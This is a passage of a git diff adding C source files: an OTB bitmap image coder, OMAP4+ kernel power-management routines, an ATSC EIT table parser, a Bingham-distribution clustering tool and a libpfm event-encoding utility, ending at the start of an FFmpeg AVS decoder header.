+  else
+    {
+      image->columns=(size_t) ReadBlobMSBShort(image);
+      image->rows=(size_t) ReadBlobMSBShort(image);
+    }
+  if ((image->columns == 0) || (image->rows == 0))
+    ThrowReaderException(CorruptImageError,"ImproperImageHeader");
+  depth=(unsigned char) ReadBlobByte(image);
+  if (depth != 1)
+    ThrowReaderException(CoderError,"OnlyLevelZerofilesSupported");
+  if (AcquireImageColormap(image,2) == MagickFalse)
+    ThrowReaderException(ResourceLimitError,"MemoryAllocationFailed");
+  if (image_info->ping != MagickFalse)
+    {
+      (void) CloseBlob(image);
+      return(GetFirstImageInList(image));
+    }
+  /*
+    Convert bi-level image to pixel packets.
+  */
+  for (y=0; y < (ssize_t) image->rows; y++)
+  {
+    q=QueueAuthenticPixels(image,0,y,image->columns,1,exception);
+    if (q == (PixelPacket *) NULL)
+      break;
+    indexes=GetAuthenticIndexQueue(image);
+    bit=0;
+    byte=0;
+    for (x=0; x < (ssize_t) image->columns; x++)
+    {
+      if (bit == 0)
+        {
+          byte=ReadBlobByte(image);
+          if (byte == EOF)
+            ThrowReaderException(CorruptImageError,"CorruptImage");
+        }
+      SetPixelIndex(indexes+x,(byte & (0x01 << (7-bit))) ?
+        0x00 : 0x01);
+      bit++;
+      if (bit == 8)
+        bit=0;
+    }
+    if (SyncAuthenticPixels(image,exception) == MagickFalse)
+      break;
+    if (image->previous == (Image *) NULL)
+      {
+        status=SetImageProgress(image,LoadImageTag,(MagickOffsetType) y,
+                image->rows);
+        if (status == MagickFalse)
+          break;
+      }
+  }
+  (void) SyncImage(image);
+  if (EOFBlob(image) != MagickFalse)
+    ThrowFileException(exception,CorruptImageError,"UnexpectedEndOfFile",
+      image->filename);
+  (void) CloseBlob(image);
+  return(GetFirstImageInList(image));
+}
+
+/*
+%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
+%                                                                             %
+%                                                                             %
+%                                                                             %
+%   R e g i s t e r O T B I m a g e                                           %
+%                                                                             %
+%                                                                             %
+%                                                                             %
+%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
+%
+%  RegisterOTBImage() adds attributes for the OTB image format to
+%  the list of supported formats.  The attributes include the image format
+%  tag, a method to read and/or write the format, whether the format
+%  supports the saving of more than one frame to the same file or blob,
+%  whether the format supports native in-memory I/O, and a brief
+%  description of the format.
+%
+%  The format of the RegisterOTBImage method is:
+%
+%      size_t RegisterOTBImage(void)
+%
+*/
+ModuleExport size_t RegisterOTBImage(void)
+{
+  MagickInfo
+    *entry;
+
+  entry=SetMagickInfo("OTB");
+  entry->decoder=(DecodeImageHandler *) ReadOTBImage;
+  entry->encoder=(EncodeImageHandler *) WriteOTBImage;
+  entry->adjoin=MagickFalse;
+  entry->description=ConstantString("On-the-air bitmap");
+  entry->module=ConstantString("OTB");
+  (void) RegisterMagickInfo(entry);
+  return(MagickImageCoderSignature);
+}
+
+/*
+%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
+%                                                                             %
+%                                                                             %
+%                                                                             %
+%   U n r e g i s t e r O T B I m a g e                                       %
+%                                                                             %
+%                                                                             %
+%                                                                             %
+%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
+%
+%  UnregisterOTBImage() removes format registrations made by the
+%  OTB module from the list of supported formats.
+%
+%  The format of the UnregisterOTBImage method is:
+%
+%      UnregisterOTBImage(void)
+%
+*/
+ModuleExport void UnregisterOTBImage(void)
+{
+  (void) UnregisterMagickInfo("OTB");
+}
+
+/*
+%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
+%                                                                             %
+%                                                                             %
+%                                                                             %
+%   W r i t e O T B I m a g e                                                 %
+%                                                                             %
+%                                                                             %
+%                                                                             %
+%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
+%
+%  WriteOTBImage() writes an image to a file in the On-the-air Bitmap
+%  (level 0) image format.
+%
+%  The format of the WriteOTBImage method is:
+%
+%      MagickBooleanType WriteOTBImage(const ImageInfo *image_info,Image *image)
+%
+%  A description of each parameter follows.
+%
+%    o image_info: the image info.
+%
+%    o image:  The image.
+%
+%
+*/
+static MagickBooleanType WriteOTBImage(const ImageInfo *image_info,Image *image)
+{
+#define SetBit(a,i,set) \
+  a=(unsigned char) ((set) ? (a) | (1L << (i)) : (a) & ~(1L << (i)))
+
+  MagickBooleanType
+    status;
+
+  register const PixelPacket
+    *p;
+
+  register ssize_t
+    x;
+
+  ssize_t
+    y;
+
+  unsigned char
+    bit,
+    byte,
+    info;
+
+  /*
+    Open output image file.
+  */
+  assert(image_info != (const ImageInfo *) NULL);
+  assert(image_info->signature == MagickSignature);
+  assert(image != (Image *) NULL);
+  assert(image->signature == MagickSignature);
+  if (image->debug != MagickFalse)
+    (void) LogMagickEvent(TraceEvent,GetMagickModule(),"%s",image->filename);
+  status=OpenBlob(image_info,image,WriteBinaryBlobMode,&image->exception);
+  if (status == MagickFalse)
+    return(status);
+  if (IsRGBColorspace(image->colorspace) == MagickFalse)
+    (void) TransformImageColorspace(image,RGBColorspace);
+  /*
+    Convert image to a bi-level image.
+  */
+  (void) SetImageType(image,BilevelType);
+  info=0;
+  if ((image->columns >= 256) || (image->rows >= 256))
+    SetBit(info,4,1);
+  (void) WriteBlobByte(image,info);
+  if ((image->columns >= 256) || (image->rows >= 256))
+    {
+      (void) WriteBlobMSBShort(image,(unsigned short) image->columns);
+      (void) WriteBlobMSBShort(image,(unsigned short) image->rows);
+    }
+  else
+    {
+      (void) WriteBlobByte(image,(unsigned char) image->columns);
+      (void) WriteBlobByte(image,(unsigned char) image->rows);
+    }
+  (void) WriteBlobByte(image,1);  /* depth */
+  for (y=0; y < (ssize_t) image->rows; y++)
+  {
+    p=GetVirtualPixels(image,0,y,image->columns,1,&image->exception);
+    if (p == (const PixelPacket *) NULL)
+      break;
+    bit=0;
+    byte=0;
+    for (x=0; x < (ssize_t) image->columns; x++)
+    {
+      if (PixelIntensity(p) < ((Quantum) QuantumRange/2.0))
+        byte|=0x1 << (7-bit);
+      bit++;
+      if (bit == 8)
+        {
+          (void) WriteBlobByte(image,byte);
+          bit=0;
+          byte=0;
+        }
+      p++;
+    }
+    if (bit != 0)
+      (void) WriteBlobByte(image,byte);
+    if (image->previous == (Image *) NULL)
+      {
+        status=SetImageProgress(image,SaveImageTag,(MagickOffsetType) y,
+          image->rows);
+        if (status == MagickFalse)
+          break;
+      }
+  }
+  (void) CloseBlob(image);
+  return(MagickTrue);
+}
diff --git a/pool/shard001/C/0025117_pm_omap4plus.c b/pool/shard001/C/0025117_pm_omap4plus.c
new file mode 100644
index 0000000000000000000000000000000000000000..929106976fee4be23f19392e569a0220497e3e5a
--- /dev/null
+++ b/pool/shard001/C/0025117_pm_omap4plus.c
@@ -0,0 +1,264 @@
+/*
+ * OMAP4PLUS Power Management Routines
+ *
+ * Copyright (C) 2010-2013 Texas Instruments, Inc.
+ * Rajendra Nayak <rnayak@ti.com>
+ * Santosh Shilimkar <santosh.shilimkar@ti.com>
+ *
+ * This program is free software; you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License version 2 as
+ * published by the Free Software Foundation.
+ */
+
+#include <linux/pm.h>
+#include <linux/suspend.h>
+#include <linux/module.h>
+#include <linux/list.h>
+#include <linux/err.h>
+#include <linux/slab.h>
+#include <asm/system_misc.h>
+
+#include "soc.h"
+#include "common.h"
+#include "clockdomain.h"
+#include "powerdomain.h"
+#include "pm.h"
+
+struct power_state {
+	struct powerdomain *pwrdm;
+	u8 next_fpwrst;
+#ifdef CONFIG_SUSPEND
+	u8 saved_fpwrst;
+#endif
+	struct list_head node;
+};
+
+static LIST_HEAD(pwrst_list);
+u32 cpu_suspend_state;
+u32 pwrdm_next_state;
+
+#ifdef CONFIG_SUSPEND
+static int omap4_pm_suspend(void)
+{
+	struct power_state *pwrst;
+	int prev_fpwrst;
+	int ret = 0;
+	u32 cpu_id = smp_processor_id();
+
+	/* XXX Seems like these two loops could be combined into one loop? */
+
+	/* Save current powerdomain state */
+	list_for_each_entry(pwrst, &pwrst_list, node)
+		pwrst->saved_fpwrst = pwrdm_read_next_fpwrst(pwrst->pwrdm);
+
+	/* Set targeted power domain states by suspend */
+	list_for_each_entry(pwrst, &pwrst_list, node)
+		WARN_ON(pwrdm_set_fpwrst(pwrst->pwrdm, pwrst->next_fpwrst));
+
+	/*
+	 * For MPUSS to hit power domain retention(CSWR or OSWR),
+	 * CPU0 and CPU1 power domains need to be in OFF or DORMANT state,
+	 * since CPU power domain CSWR is not supported by hardware
+	 * Only master CPU follows suspend path. All other CPUs follow
+	 * CPU hotplug path in system wide suspend. On OMAP4, CPU power
+	 * domain CSWR is not supported by hardware.
+	 * More details can be found in OMAP4430 TRM section 4.3.4.2.
+	 */
+	omap4_mpuss_enter_lowpower(cpu_id, cpu_suspend_state);
+
+	/* Restore next powerdomain state */
+	list_for_each_entry(pwrst, &pwrst_list, node) {
+		prev_fpwrst = pwrdm_read_prev_fpwrst(pwrst->pwrdm);
+		if (prev_fpwrst != pwrst->next_fpwrst) {
+			pr_info("Powerdomain (%s) didn't enter target state %s - entered state %s instead\n",
+				pwrst->pwrdm->name,
+				pwrdm_convert_fpwrst_to_name(pwrst->next_fpwrst),
+				pwrdm_convert_fpwrst_to_name(prev_fpwrst));
+			ret = -1;
+		}
+		WARN_ON(pwrdm_set_fpwrst(pwrst->pwrdm, pwrst->saved_fpwrst));
+	}
+	if (ret)
+		pr_crit("Could not enter target state in pm_suspend\n");
+	else
+		pr_info("Successfully put all powerdomains to target state\n");
+
+	return 0;
+}
+#endif /* CONFIG_SUSPEND */
+
+static int __init pwrdms_setup(struct powerdomain *pwrdm, void *unused)
+{
+	struct power_state *pwrst;
+
+	if (!pwrdm->pwrsts)
+		return 0;
+
+	/*
+	 * Skip CPU0 and CPU1 power domains. CPU1 is programmed
+	 * through hotplug path and CPU0 explicitly programmed
+	 * further down in the code path
+	 */
+	if (!strncmp(pwrdm->name, "cpu", 3))
+		return 0;
+
+	pwrst = kmalloc(sizeof(struct power_state), GFP_ATOMIC);
+	if (!pwrst)
+		return -ENOMEM;
+
+	pwrst->pwrdm = pwrdm;
+	/*
+	 * XXX This should be replaced by explicit lists of
+	 * powerdomains with specific powerstates to set
+	 */
+	pwrst->next_fpwrst = pwrdm_next_state;
+	if (!pwrdm_supports_fpwrst(pwrdm, pwrst->next_fpwrst))
+		pwrst->next_fpwrst = PWRDM_FUNC_PWRST_ON;
+	list_add(&pwrst->node, &pwrst_list);
+
+	return WARN_ON(pwrdm_set_fpwrst(pwrst->pwrdm, pwrst->next_fpwrst));
+}
+
+/**
+ * omap_default_idle - OMAP4 default ilde routine.'
+ *
+ * Implements OMAP4 memory, IO ordering requirements which can't be addressed
+ * with default cpu_do_idle() hook. Used by all CPUs with !CONFIG_CPUIDLE and
+ * by secondary CPU with CONFIG_CPUIDLE.
+ */
+static void omap_default_idle(void)
+{
+	omap_do_wfi();
+}
+
+/**
+ * omap4_init_static_deps - Init static clkdm dependencies on OMAP4
+ *
+ * The dynamic dependency between MPUSS -> MEMIF and
+ * MPUSS -> L4_PER/L3_* and DUCATI -> L3_* doesn't work as
+ * expected. The hardware recommendation is to enable static
+ * dependencies for these to avoid system lock ups or random crashes.
+ * The L4 wakeup depedency is added to workaround the OCP sync hardware
+ * BUG with 32K synctimer which lead to incorrect timer value read
+ * from the 32K counter. The BUG applies for GPTIMER1 and WDT2 which
+ * are part of L4 wakeup clockdomain.
+ */
+static inline int omap4_init_static_deps(void)
+{
+	int ret;
+	struct clockdomain *emif_clkdm, *mpuss_clkdm, *l3_1_clkdm, *l4wkup;
+	struct clockdomain *ducati_clkdm, *l3_2_clkdm, *l4_per_clkdm;
+
+	mpuss_clkdm = clkdm_lookup("mpuss_clkdm");
+	emif_clkdm = clkdm_lookup("l3_emif_clkdm");
+	l3_1_clkdm = clkdm_lookup("l3_1_clkdm");
+	l3_2_clkdm = clkdm_lookup("l3_2_clkdm");
+	l4_per_clkdm = clkdm_lookup("l4_per_clkdm");
+	l4wkup = clkdm_lookup("l4_wkup_clkdm");
+	ducati_clkdm = clkdm_lookup("ducati_clkdm");
+	if ((!mpuss_clkdm) || (!emif_clkdm) || (!l3_1_clkdm) || (!l4wkup) ||
+		(!l3_2_clkdm) || (!ducati_clkdm) || (!l4_per_clkdm))
+		return -EINVAL;
+
+	ret = clkdm_add_wkdep(mpuss_clkdm, emif_clkdm);
+	ret |= clkdm_add_wkdep(mpuss_clkdm, l3_1_clkdm);
+	ret |= clkdm_add_wkdep(mpuss_clkdm, l3_2_clkdm);
+	ret |= clkdm_add_wkdep(mpuss_clkdm, l4_per_clkdm);
+	ret |= clkdm_add_wkdep(mpuss_clkdm, l4wkup);
+	ret |= clkdm_add_wkdep(ducati_clkdm, l3_1_clkdm);
+	ret |= clkdm_add_wkdep(ducati_clkdm, l3_2_clkdm);
+	if (ret) {
+		pr_err("Failed to add MPUSS -> L3/EMIF/L4PER, DUCATI -> L3 wakeup dependency\n");
+	}
+
+	return ret;
+}
+
+/**
+ * omap5_init_static_deps - Init static clkdm dependencies on OMAP5
+ *
+ * The dynamic dependency between MPUSS -> EMIF is broken and has
+ * not worked as expected. The hardware recommendation is to
+ * enable static dependencies for these to avoid system
+ * lock ups or random crashes.
+ */
+static inline int omap5_init_static_deps(void)
+{
+	struct clockdomain *mpuss_clkdm, *emif_clkdm;
+	int ret;
+
+	mpuss_clkdm = clkdm_lookup("mpu_clkdm");
+	emif_clkdm = clkdm_lookup("emif_clkdm");
+	if (!mpuss_clkdm || !emif_clkdm)
+		return -EINVAL;
+
+	ret = clkdm_add_wkdep(mpuss_clkdm, emif_clkdm);
+	if (ret)
+		pr_err("Failed to add MPUSS -> EMIF wakeup dependency\n");
+
+	return ret;
+}
+
+
+/**
+ * omap4_pm_init - Init routine for OMAP4+ devices
+ *
+ * Initializes all powerdomain and clockdomain target states
+ * and all PRCM settings.
+ */
+int __init omap4_pm_init(void)
+{
+	int ret;
+
+	if (omap_rev() == OMAP4430_REV_ES1_0) {
+		WARN(1, "Power Management not supported on OMAP4430 ES1.0\n");
+		return -ENODEV;
+	}
+
+	pr_info("Power Management for TI OMAP4PLUS devices.\n");
+
+	if (soc_is_dra7xx()) {
+		cpu_suspend_state = PWRDM_FUNC_PWRST_ON;
+		pwrdm_next_state = PWRDM_FUNC_PWRST_ON;
+	} else {
+		cpu_suspend_state = PWRDM_FUNC_PWRST_OFF;
+		pwrdm_next_state = PWRDM_FUNC_PWRST_CSWR;
+	}
+
+	ret = pwrdm_for_each(pwrdms_setup, NULL);
+	if (ret) {
+		pr_err("Failed to setup powerdomains.\n");
+		goto err2;
+	}
+
+	if (cpu_is_omap44xx())
+		ret = omap4_init_static_deps();
+	else if (soc_is_omap54xx() || soc_is_dra7xx())
+		ret = omap5_init_static_deps();
+
+	if (ret) {
+		pr_err("Failed to initialise static dependencies.\n");
+		goto err2;
+	}
+
+	ret = omap4_mpuss_init();
+	if (ret) {
+		pr_err("Failed to initialise OMAP4 MPUSS\n");
+		goto err2;
+	}
+
+	(void) clkdm_for_each(omap_pm_clkdms_setup, NULL);
+
+#ifdef CONFIG_SUSPEND
+	omap_pm_suspend = omap4_pm_suspend;
+#endif
+
+	/* Overwrite the default arch_idle() */
+	arm_pm_idle = omap_default_idle;
+
+	if (cpu_is_omap44xx() || soc_is_omap54xx())
+		omap4_idle_init();
+
+err2:
+	return ret;
+}
diff --git a/pool/shard001/C/0025121_atsc_eit.c b/pool/shard001/C/0025121_atsc_eit.c
new file mode 100644
index 0000000000000000000000000000000000000000..6a7c4d258a4a453bdf6a21c7d93ee039f728382c
--- /dev/null
+++ b/pool/shard001/C/0025121_atsc_eit.c
@@ -0,0 +1,185 @@
+/*
+ * Copyright (c) 2013-2014 - Andre Roth <neolynx@gmail.com>
+ *
+ * This program is free software; you can redistribute it and/or
+ * modify it under the terms of the GNU General Public License
+ * as published by the Free Software Foundation version 2
+ * of the License.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with this program; if not, write to the Free Software
+ * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+ * Or, point your browser to http://www.gnu.org/licenses/old-licenses/gpl-2.0.html
+ *
+ */
+
+#include <libdvbv5/atsc_eit.h>
+#include <libdvbv5/descriptors.h>
+#include <libdvbv5/dvb-fe.h>
+
+ssize_t atsc_table_eit_init(struct dvb_v5_fe_parms *parms, const uint8_t *buf,
+		ssize_t buflen, struct atsc_table_eit **table)
+{
+	const uint8_t *p = buf, *endbuf = buf + buflen;
+	struct atsc_table_eit *eit;
+	struct atsc_table_eit_event **head;
+	size_t size;
+	int i = 0;
+
+	size = offsetof(struct atsc_table_eit, event);
+	if (p + size > endbuf) {
+		dvb_logerr("%s: short read %zd/%zd bytes", __func__,
+			   endbuf - p, size);
+		return -1;
+	}
+
+	if (buf[0] != ATSC_TABLE_EIT) {
+		dvb_logerr("%s: invalid marker 0x%02x, sould be 0x%02x",
+				__func__, buf[0], ATSC_TABLE_EIT);
+		return -2;
+	}
+
+	if (!*table) {
+		*table = calloc(sizeof(struct atsc_table_eit), 1);
+		if (!*table) {
+			dvb_logerr("%s: out of memory", __func__);
+			return -3;
+		}
+	}
+	eit = *table;
+	memcpy(eit, p, size);
+	p += size;
+	dvb_table_header_init(&eit->header);
+
+	/* find end of curent list */
+	head = &eit->event;
+	while (*head != NULL)
+		head = &(*head)->next;
+
+	while (i++ < eit->events && p < endbuf) {
+		struct atsc_table_eit_event *event;
+                union atsc_table_eit_desc_length dl;
+
+		size = offsetof(struct atsc_table_eit_event, descriptor);
+		if (p + size > endbuf) {
+			dvb_logerr("%s: short read %zd/%zd bytes", __func__,
+				   endbuf - p, size);
+			return -4;
+		}
+		event = (struct atsc_table_eit_event *) malloc(sizeof(struct atsc_table_eit_event));
+		if (!event) {
+			dvb_logerr("%s: out of memory", __func__);
+			return -5;
+		}
+		memcpy(event, p, size);
+		p += size;
+
+		bswap16(event->bitfield);
+		bswap32(event->start_time);
+		bswap32(event->bitfield2);
+		event->descriptor = NULL;
+		event->next = NULL;
+                atsc_time(event->start_time, &event->start);
+		event->source_id = eit->header.id;
+
+		*head = event;
+		head = &(*head)->next;
+
+		size = event->title_length - 1;
+		if (p + size > endbuf) {
+			dvb_logerr("%s: short read %zd/%zd bytes", __func__,
+				   endbuf - p, size);
+			return -6;
+		}
+                /* TODO: parse title */
+                p += size;
+
+		/* get the descriptors for each program */
+		size = sizeof(union atsc_table_eit_desc_length);
+		if (p + size > endbuf) {
+			dvb_logerr("%s: short read %zd/%zd bytes", __func__,
+				   endbuf - p, size);
+			return -7;
+		}
+		memcpy(&dl, p, size);
+                p += size;
+                bswap16(dl.bitfield);
+
+		size = dl.desc_length;
+		if (p + size > endbuf) {
+			dvb_logerr("%s: short read %zd/%zd bytes", __func__,
+				   endbuf - p, size);
+			return -8;
+		}
+		if (dvb_desc_parse(parms, p, size,
+					&event->descriptor) != 0 ) {
+			return -9;
+		}
+
+		p += size;
+	}
+
+	return p - buf;
+}
+
+void atsc_table_eit_free(struct atsc_table_eit *eit)
+{
+	struct atsc_table_eit_event *event = eit->event;
+
+	while (event) {
+		struct atsc_table_eit_event *tmp = event;
+
+		dvb_desc_free((struct dvb_desc **) &event->descriptor);
+		event = event->next;
+		free(tmp);
+	}
+	free(eit);
+}
+
+void atsc_table_eit_print(struct dvb_v5_fe_parms *parms, struct atsc_table_eit *eit)
+{
+	dvb_loginfo("EIT");
+	ATSC_TABLE_HEADER_PRINT(parms, eit);
+	const struct atsc_table_eit_event *event = eit->event;
+	uint16_t events = 0;
+
+	while (event) {
+		char start[255];
+
+		strftime(start, sizeof(start), "%F %T", &event->start);
+		dvb_loginfo("|-  event %7d", event->event_id);
+		dvb_loginfo("|   Source                %d", event->source_id);
+		dvb_loginfo("|   Starttime             %d", event->start_time);
+		dvb_loginfo("|   Start                 %s UTC", start);
+		dvb_loginfo("|   Duration              %dh %dm %ds", event->duration / 3600, (event->duration % 3600) / 60, event->duration % 60);
+		dvb_loginfo("|   ETM                   %d", event->etm);
+		dvb_loginfo("|   title length          %d", event->title_length);
+		dvb_desc_print(parms, event->descriptor);
+		event = event->next;
+		events++;
+	}
+	dvb_loginfo("|_  %d events", events);
+}
+
+void atsc_time(const uint32_t start_time, struct tm *tm)
+{
+  tm->tm_sec   = 0;
+  tm->tm_min   = 0;
+  tm->tm_hour  = 0;
+  tm->tm_mday  = 6;
+  tm->tm_mon   = 0;
+  tm->tm_year  = 80;
+  tm->tm_isdst = -1;
+  tm->tm_wday  = 0;
+  tm->tm_yday  = 0;
+  mktime(tm);
+  tm->tm_sec += start_time;
+  mktime(tm);
+}
+
+
diff --git a/pool/shard001/C/0025131_cluster_bingham.c b/pool/shard001/C/0025131_cluster_bingham.c
new file mode 100644
index 0000000000000000000000000000000000000000..71cee7bcec9b22382f38e4d959045d44aa468767
--- /dev/null
+++ b/pool/shard001/C/0025131_cluster_bingham.c
@@ -0,0 +1,91 @@
+
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <math.h>
+#include "bingham.h"
+#include "bingham/util.h"
+#include "bingham/bingham_constants.h"
+#include "bingham/hypersphere.h"
+
+
+/*
+ * Fits a mixture of bingham distributions to data in files of the form:
+ *
+ * <n> <d>
+ * <x11> ... <x1d>
+ * .
+ * .
+ * .
+ * <xn1> ... <xnd>
+ */
+
+
+double **load_data(char *filename, int *n_ptr, int *d_ptr)
+{
+  FILE *f = fopen(filename, "r");
+  int n, d, i, j;
+
+  fscanf(f, "%d %d\n", &n, &d);
+
+  double **X = new_matrix2(n, d);
+
+  for (i = 0; i < n; i++)
+    for (j = 0; j < d; j++)
+      fscanf(f, "%lf", &X[i][j]);
+
+  *n_ptr = n;
+  *d_ptr = d;
+
+  return X;
+}
+
+void usage(int argc, char *argv[])
+{
+  printf("usage: %s <filename>\n", argv[0]);
+  exit(1);
+}
+
+int main(int argc, char *argv[])
+{
+  double t0 = get_time_ms();
+  bingham_init();
+  double t1 = get_time_ms();
+  fprintf(stderr, "Initialized bingham library in %.0f ms\n", t1-t0);
+
+  if (argc < 2)
+    usage(argc, argv);
+
+  char *filename = argv[1];
+
+  int n, d, i, j, c;
+  double **X = load_data(filename, &n, &d);
+
+  bingham_mix_t BM;
+  bingham_cluster(&BM, X, n, d);
+
+  printf("B_num = %d\n\n", BM.n);
+  printf("B_weights = [ ");
+  for (c = 0; c < BM.n; c++)
+    printf("%f ", BM.w[c]);
+  printf("]\n\n");
+
+  for (c = 0; c < BM.n; c++) {
+    printf("B(%d).V = [ ", c+1);
+    for (i = 0; i < d; i++) {
+      for (j = 0; j < d-1; j++)
+	printf("%f ", BM.B[c].V[j][i]);
+      printf("; ");
+    }
+    printf("];\n\n");
+
+    printf("B(%d).Z = [ ", c+1);
+    for (i = 0; i < d-1; i++)
+      printf("%f ", BM.B[c].Z[i]);
+    printf("];\n\n");
+
+    printf("B(%d).F = %f;\n\n", c+1, BM.B[c].F);
+  }
+
+  return 0;
+}
diff --git a/pool/shard001/C/0025136_check_events.c b/pool/shard001/C/0025136_check_events.c
new file mode 100644
index 0000000000000000000000000000000000000000..cc6bb4009d988ef66111441dd629e2b72868339c
--- /dev/null
+++ b/pool/shard001/C/0025136_check_events.c
@@ -0,0 +1,162 @@
+/*
+ * check_events.c - show event encoding
+ *
+ * Copyright (c) 2009 Google, Inc
+ * Contributed by Stephane Eranian <eranian@gmail.com>
+ *
+ * Permission is hereby granted, free of charge, to any person obtaining a copy
+ * of this software and associated documentation files (the "Software"), to deal
+ * in the Software without restriction, including without limitation the rights
+ * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies
+ * of the Software, and to permit persons to whom the Software is furnished to do so,
+ * subject to the following conditions:
+ *
+ * The above copyright notice and this permission notice shall be included in all
+ * copies or substantial portions of the Software.
+ *
+ * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED,
+ * INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A
+ * PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT
+ * HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF
+ * CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE
+ * OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
+ *
+ * This file is part of libpfm, a performance monitoring support library for
+ * applications on Linux.
+ */
+#include <sys/types.h>
+#include <inttypes.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <stdarg.h>
+#include <string.h>
+#include <err.h>
+
+#include <perfmon/pfmlib.h>
+
+int
+pmu_is_present(pfm_pmu_t p)
+{
+	pfm_pmu_info_t pinfo;
+	int ret;
+
+	memset(&pinfo, 0, sizeof(pinfo));
+	ret = pfm_get_pmu_info(p, &pinfo);
+	return ret == PFM_SUCCESS ? pinfo.is_present : 0;
+}
+
+int
+main(int argc, const char **argv)
+{
+	pfm_pmu_info_t pinfo;
+	const char *arg[3];
+	const char **p;
+	char *fqstr;
+	pfm_event_info_t info;
+	uint64_t *codes;
+	int count;
+	int i, j;
+	int ret, idx;
+	int total_supported_events = 0;
+	int total_available_events = 0;
+
+	/*
+	 * Initialize pfm library (required before we can use it)
+	 */
+	ret = pfm_initialize();
+	if (ret != PFM_SUCCESS)
+		errx(1, "cannot initialize library: %s\n", pfm_strerror(ret));
+
+	memset(&pinfo, 0, sizeof(pinfo));
+	memset(&info, 0, sizeof(info));
+
+	printf("Supported PMU models:\n");
+	for(i=0; i < PFM_PMU_MAX; i++) {
+		ret = pfm_get_pmu_info(i, &pinfo);
+		if (ret != PFM_SUCCESS)
+			continue;
+		
+		printf("\t[%d, %s, \"%s\"]\n", i, pinfo.name, pinfo.desc);
+	}
+
+	printf("Detected PMU models:\n");
+	for(i=0; i < PFM_PMU_MAX; i++) {
+		ret = pfm_get_pmu_info(i, &pinfo);
+		if (ret != PFM_SUCCESS)
+			continue;
+		if (pinfo.is_present) {
+			printf("\t[%d, %s, \"%s\"]\n", i, pinfo.name, pinfo.desc);
+			total_supported_events += pinfo.nevents;
+		}
+		total_available_events += pinfo.nevents;
+	}
+
+	printf("Total events: %d available, %d supported\n", total_available_events, total_supported_events);
+
+	/*
+	 * be nice to user!
+	 */
+	if (argc < 2  && pmu_is_present(PFM_PMU_PERF_EVENT)) {
+		arg[0] = "PERF_COUNT_HW_CPU_CYCLES";
+		arg[1] = "PERF_COUNT_HW_INSTRUCTIONS";
+		arg[2] = NULL;
+		p = arg;
+	} else {
+		p = argv+1;
+	}
+
+	if (!*p)
+		errx(1, "you must pass at least one event");
+
+	codes = NULL;
+	count = 0;
+	while(*p) {
+		/*
+		 * extract raw event encoding
+		 *
+		 * For perf_event encoding, use
+		 * #include <perfmon/pfmlib_perf_event.h>
+		 * and the function:
+		 * pfm_get_perf_event_encoding()
+		 */
+		fqstr = NULL;
+		ret = pfm_get_event_encoding(*p, PFM_PLM0|PFM_PLM3, &fqstr, &idx, &codes, &count);
+		if (ret != PFM_SUCCESS) {
+			/*
+			 * codes is too small for this event
+			 * free and let the library resize
+			 */
+			if (ret == PFM_ERR_TOOSMALL) {
+				free(codes);
+				codes = NULL;
+				count = 0;
+				continue;
+			}
+			if (ret == PFM_ERR_NOTFOUND && strstr(*p, "::"))
+				errx(1, "%s: try setting LIBPFM_ENCODE_INACTIVE=1", pfm_strerror(ret));
+			errx(1, "cannot encode event %s: %s", *p, pfm_strerror(ret));
+		}
+		ret = pfm_get_event_info(idx, PFM_OS_NONE, &info);
+		if (ret != PFM_SUCCESS)
+			errx(1, "cannot get event info: %s", pfm_strerror(ret));
+
+		ret = pfm_get_pmu_info(info.pmu, &pinfo);
+		if (ret != PFM_SUCCESS)
+			errx(1, "cannot get PMU info: %s", pfm_strerror(ret));
+
+		printf("Requested Event: %s\n", *p);
+		printf("Actual    Event: %s\n", fqstr);
+		printf("PMU            : %s\n", pinfo.desc);
+		printf("IDX            : %d\n", idx);
+		printf("Codes          :");
+		for(j=0; j < count; j++)
+			printf(" 0x%"PRIx64, codes[j]);
+		putchar('\n');
+
+		free(fqstr);
+		p++;
+	}
+	if (codes)
+		free(codes);
+	return 0;
+}
diff --git a/pool/shard001/C/0025137_avs.c b/pool/shard001/C/0025137_avs.c
new file mode 100644
index 0000000000000000000000000000000000000000..345d628dd56c80c724aef98ec7b5712445c7e56f
--- /dev/null
+++ b/pool/shard001/C/0025137_avs.c
@@ -0,0 +1,189 @@
+/*
+ * AVS video decoder.
+ * Copyright (c) 2006  Aurelien Jacobs <aurel@gnuage.org>
+ *
+ * This file is part of FFmpeg.
+ *
+ * FFmpeg is free software; you can redistribute it and/or
+ * modify it under the terms of the GNU Lesser General Public
+ * License as published by the Free Software Foundation; either
